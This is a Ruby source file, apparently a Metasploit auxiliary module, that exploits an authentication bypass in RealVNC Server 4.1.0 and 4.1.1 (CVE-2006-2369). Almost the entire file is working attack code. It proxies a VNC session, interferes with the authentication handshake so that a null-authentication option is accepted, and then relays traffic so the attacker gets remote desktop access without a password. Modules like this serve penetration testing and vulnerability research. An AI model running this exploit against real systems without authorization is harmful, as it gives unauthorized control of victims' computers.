158 lines
4.2 KiB
Ruby
158 lines
4.2 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'RealVNC NULL Authentication Mode Bypass',
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'Description' => %q{
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This module exploits an Authentication bypass Vulnerability
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in RealVNC Server version 4.1.0 and 4.1.1. It sets up a proxy
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listener on LPORT and proxies to the target server
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The AUTOVNC option requires that vncviewer be installed on
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the attacking machine.
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},
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'Author' =>
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[
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'hdm', #original msf2 module
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'theLightCosine'
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['BID', '17978'],
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['OSVDB', '25479'],
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['URL', 'http://secunia.com/advisories/20107/'],
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['CVE', '2006-2369'],
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],
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'DisclosureDate' => 'May 15 2006'))
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register_options(
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[
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OptPort.new('RPORT', [true, "The port the target VNC Server is listening on", 5900 ]),
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OptPort.new('LPORT', [true, "The port the local VNC Proxy should listen on", 5900 ]),
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OptBool.new('AUTOVNC', [true, "Automatically launch vncviewer from this host", false])
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], self.class)
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end
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def run
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# starts up the Listener Server
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print_status("Starting listener...")
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listener = Rex::Socket::TcpServer.create(
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'LocalHost' => '0.0.0.0',
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'LocalPort' => datastore['LPORT'],
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'Context' => { 'Msf' => framework, 'MsfExploit' => self }
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)
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# If the autovnc option is set to true this will spawn a vncviewer on the lcoal machine
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# targetting the proxy listener.
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if (datastore['AUTOVNC'])
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unless (check_vncviewer())
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print_error("The vncviewer does not appear to be installed, exiting...")
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return nil
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end
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print_status("Spawning viewer thread...")
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view = framework.threads.spawn("VncViewerWrapper", false) {
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system("vncviewer 127.0.0.1::#{datastore['LPORT']}")
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}
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end
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# Establishes the connection between the viewier and the remote server
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client = listener.accept
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add_socket(client)
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# Closes the listener socket as it is no longer needed
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listener.close
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s = connect
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serverhello = s.get_once
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unless serverhello.include? "RFB 003.008"
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print_error("The server is not vulnerable")
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return
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end
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# MitM attack on the VNC Authentication Process
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client.puts(serverhello)
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clienthello = client.get_once
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s.puts(clienthello)
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authmethods = s.read(2)
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print_status("Auth methods received. Sending null authentication option to client")
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client.write("\x01\x01")
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client.read(1)
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s.put("\x01")
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s.read(4)
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client.put("\x00\x00\x00\x00")
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# Handles remaining proxy operations between the two sockets
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closed = false
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while(closed == false)
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sockets =[]
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sockets << client
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sockets << s
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selected = select(sockets,nil,nil,0)
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#print_status ("Selected: #{selected.inspect}")
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unless selected.nil?
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if selected[0].include?(client)
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begin
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data = client.get_once
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if data.nil?
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print_error("Client closed connection")
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closed = true
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else
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s.put(data)
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end
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rescue
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print_error("Client closed connection")
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closed = true
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end
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end
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if selected[0].include?(s)
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begin
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data = s.get_once
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if data.nil?
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print_error("Server closed connection")
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closed = true
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else
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client.put(data)
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end
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rescue
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closed = true
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end
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end
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end
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end
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# Close sockets
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s.close
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client.close
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if (datastore['AUTOVNC'])
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view.kill rescue nil
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end
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end
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def check_vncviewer
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vnc =
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Rex::FileUtils::find_full_path('vncviewer') ||
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Rex::FileUtils::find_full_path('vncviewer.exe')
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if (vnc)
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return true
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else
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return false
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end
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end
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end
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